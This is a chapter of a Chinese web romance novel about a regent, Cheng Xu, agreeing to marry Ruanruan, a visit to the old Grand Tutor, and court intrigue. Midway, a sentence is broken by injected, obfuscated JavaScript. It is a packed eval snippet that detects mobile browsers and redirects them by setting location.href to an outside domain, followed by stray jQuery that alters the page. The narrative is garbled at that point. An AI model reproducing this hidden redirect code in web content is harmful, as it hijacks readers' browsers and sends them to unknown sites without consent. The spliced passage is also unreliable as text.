56. 故人万里

作品:《替嫁王府后躺平了

    夏日阳光渐渐驱散清晨的白雾,鳞次栉比的屋舍、错落有致的街巷都慢慢显露出来。


    马车沿着青石街道缓缓前行,经过学堂时能听到朗朗读书声,经过茶馆时能听到喧哗鼓掌声,渐渐地所有声音都消弭安静下去,马车在太师府跟前的石狮子旁停下。


    成煦在听到阮阮说成婚那句话后,一直沉默着,神情严肃。


    阮阮见他不说话,也不好催促,扯着牡丹花瓣,安静等他的回答。


    只是他沉默地久了些,一朵饱满的姚黄被扯地只剩一根光秃秃的杆子了,也不见他说愿意还是不愿意。


    等不下去了。


    眼中闪过一丝促狭,葱白手指灵活地拨弄,将小几上的花瓣归拢成一座黄彤彤的小山。


    而后不动声色地挪了挪屁股,朝着成煦的方向,深吸一口气。


    “呼——”,那口气裹着花瓣,直直朝成煦的脸上扑去。


    刹那间,那座小花山散成无数花瓣,如灿烂烟火,在他眼前肆意飞扬、飘落。


    花瓣滑过他高挺的鼻梁,继而星星点点地落在他肩上、手上,还有那身月白色的长衫上。


    成煦漂亮而锐利的眼睛看了她一眼,但没说什么,只是垂下眼,一片一片将身上的花瓣捡起来。


    又解下腰间佩着的一只香囊,将其中的物件倒出去,将明黄的花瓣一一装进去。


    阮阮右手手掌托着下巴,看他捡花瓣,左手手指挑着成煦刚倒出来的名贵香料、药草。


    捻起其中一根棕色的根茎,放到鼻下嗅了嗅,不知是什么怪好闻的。


    “我想要这个。”


    成煦装完花瓣,整个香囊鼓鼓囊囊的,他竟又佩戴了回去。


    “嗯。”


    终于说话了,费这老大劲儿。


    阮阮瞧着那胖乎乎的香囊,又问:“我想要什么都给我?”


    “嗯。”成煦又应了一声。


    他看着阮阮,嘴角微微弯起,露出一个极简单却也极轻松的一个笑容。


    成煦撩开马车的帘子,大雾已散,阳光直剌剌地落到他眼里。


    他微微眯起眼睛,看向炽热的太阳。


    人生近三十载,才发现,原来阳光,如此温暖。


    他回头看,阮阮仍旧坐着,双手托着下巴,微微歪着头,笑意盈盈地看着他。


    案几上的香炉未灭,似有若无的四合香味萦绕着,像是一个极平常的清晨。


    他的心口被这样确定的温暖熨帖着,也因此,他格外慎重地握紧了阮阮的手。


    “这是你给我的承诺,既许了,往后就不许反悔。”


    阮阮点点头。


    成煦先行下了马车,而后在马车旁伸手扶着阮阮下来。


    阮阮抬眼瞧了瞧太师府,忽然想起数年前的一个夜晚,殿下带着闯了祸的她来给老太师赔礼道歉。


    那时两人关系十分生疏且戒备,晚上离开时,殿下突然在大庭广众之下扶她上马车,显得两人十分情深的模样。


    这笔旧账得翻一下。


    “殿下,当年你突然扶我上马车,我还感动了一下,没想到其实是利用我,后来我还暗暗伤心害怕了好一会儿呢。”


    以后要一点一点翻旧账,想起来一点就翻一点。


    成煦扶着她的手僵了一下,而后不自然地轻咳一声,“下来吧。”


    阮阮抿嘴一笑,不肯下。


    “你们在做什么?”软萌可爱的小奶音传了过来,两人看去,是老太师牵着他家的小孙女,正站在门口迎接他俩。


    小姑娘见马车在门口停了许久,人却没有下来。


    又等了一会儿,下来了一个,另一个却迟迟不肯下。


    大人们真是好奇怪的。


    阮阮不好意思,连忙搭着成煦的手下了马车,相携走到老太师跟前。


    “老师。”恭恭敬敬地唤了一声。


    老太师比之前见过的样子更老了一些,头发胡子都花白了。


    “上次老师生病,我因故不能前来探望,老师可生我的气了?”


    老太师笑呵呵,“王...”想起她不是林熙,又改口道:“姑娘。”


    “老师,我不姓王,”阮阮往上瞧了成煦一眼,“您啊,继续唤我王妃吧。”


    这...老太师糊涂了,林氏王妃之后,从未听殿下要立这位为王妃。


    成煦笑了笑,“她说什么就是什么,老师听她的便是。”


    老太师见两人站在一起,身量、相貌都极为相配,高兴地无可无不可。


    “好好好,快进来,今日|你们师娘亲自下厨,咱们好好聚一聚。”


    阮阮喜欢这小孙女,梳着两个小啾啾,玉雪可爱,她伸手牵着小姑娘,蹦蹦跳跳地走在前面。


    老太师年纪大了,成煦陪着他慢慢走在后边。


    “殿下怎么突然要成婚了?可惜老臣不日就要离京,恐怕喝不上这杯喜酒了。”


    成煦心情颇为不错,“老师安心归乡,若有机缘,我会带阮阮一同去长州看你。”


    老太师听他讲这话,面上却并无喜色,“老臣此次能荣耀致仕回乡,多靠殿下在中斡旋。”


    “我给陛下教了四年书,担着太师之名,却实在不知自己到底教了什么,是教对了还是教错了。”


    成煦沉默了几瞬,陛下亲政的这段时间,多信近臣,朝堂臣工多有震荡,渐渐有偏听偏信之嫌。


    老太师屡次直言上谏,却遭训斥,气地急病一场。


    朝上更有有心之人,弹劾老太师貌似刚直,实则内藏沽名钓誉之心,当褫夺其太师之名。


    “老师不必挂怀,”成煦安慰道,“传道授业解惑,您无愧太师之名。”


    老太师捋着长长的白胡子,摇摇头,“说句大逆不道的话,我这辈子,最满意的学生是先太子,其次就是殿下。”


    “先太子...”老太师停顿了下,又道:“常言道,太平本是将军定,不许将军见太平,殿下要为自己早做打算啊。”


    成煦道:“我心里有数。”


    老太师或许是年纪大了,今日说话并不如前审慎,“当年先太子也是如此,总说有数有数,哎...”


    “老师,天子脚下,还需慎言。”成煦提醒到。


    老太师叹了口长气,看着身边的殿下,忧心忡忡。


    成煦扶着老太师入了内堂后,招来萧风,两人一道入了偏堂。


    “跟着素尘母子的暗卫撤回来,只留几人暗中护送即可。”


    萧风心中诧异,昨日还是途中暗


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15062362|157226||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    杀灭口,今日就变成护送了?


    他跟随殿下十余年,还从未见过这等朝令夕改的旨意。


    他这一瞬的迟疑,立刻被成煦察觉到了。


    万幸成煦今日心情好,不仅没有处罚他,反而颇为贴心地为其解惑。


    “她对素尘的情感不亚于对孤,保她平安,就是保孤自己平安。若孤今日杀了素尘,来日她若知道,恐怕就真没有回头路可以走。”


    原来还是为了姑娘。


    萧风称“是”后,出门办事。


    回到膳堂,一大家子人其乐融融。


    今日的这顿饭,既是为老太师一家送行,也是庆贺殿下与王妃的喜事,吃得格外舒心畅意。


    成煦陪着老太师喝了几盏酒,阮阮也就着他的手尝了一口。


    苦的,不好喝,推了回去。


    成煦眼底是迷离的笑,就着她的手将那一小杯酒尽数饮了。


    午膳后,夫人带着一大一小到花圃看花,又在花圃中的亭中摆了茶点,让殿下和太师坐着醒醒酒。


    阮阮早就觊觎上太师府的桃树,眼下桃花已落,结了青色的小果,垫着脚尖去瞧去闻。


    旁边的小姑娘也跳着脚,要她抱起来去看。


    阮阮俯身将她抱在怀里,两人脸贴着脸瞧一颗青果子。


    “王妃喜欢小孩儿,打算何时和殿下生个小世子?”夫人笑问。


    阮阮看向亭中的殿下,他正端着一杯茶,徐徐饮着。


    从前两人之间隔着身份、隔着猜忌、隔着生死,如今这些通通都消散不见,她看向成煦时,眼中也多带了几分温柔。


    她回首逗着怀里的小娃娃,道:“从前,陛下年幼,殿下身为摄政王,又同是先帝皇子,若先有了后嗣,会被人视为有夺权夺位之心。”


    “现在,朝堂形势紧张,后嗣之事还得从长计议。”


    夫人轻轻叹了口气。


    皇家艰难,一举一动都在他人的眼皮子底下,一招不慎或许就是先太子的下场。


    两人在太师府逗留到午后,便回了王府。


    阮阮许久未回王府,看哪儿都着新鲜。


    这次成煦没让她回她从前的院子,径直带他回了自己的揽星堂。


    阮阮进了寝殿,就看到一扇十分眼熟的屏风,那上边有一只明黄色的画眉。


    当年她跪着哭着看了一晚上,因而对那只小画眉记忆分外深刻。


    这笔帐,可以算一下。


    “殿下,”阮阮指着那站在树梢上的黄色小画眉,道:“当年新婚夜,我在这跪了一宿,哭都不敢哭出声,那一夜你睡地好吗?”


    成煦走过来,与她站在一处,看着屏风上的灵动画眉,啧了一声。


    这屏风怎么还在这。


    阮阮又伸出自己的食指,“你看,这个疤还在这里,”又指了指自己的膝盖,可怜兮兮地道:“每到换季,或者阴雨天,膝盖还会疼呢。”


    这句话是假的,她没有这个毛病。


    成煦揽着她的腰,将她带离那架遭瘟的屏风,走到床榻上坐下。


    “还有什么想要算的帐,今晚一道算吧,省地你一会儿一个。”成煦揉着她的手掌心,笑道。


    “殿下在说什么笑话,一个晚上怎么算的完?”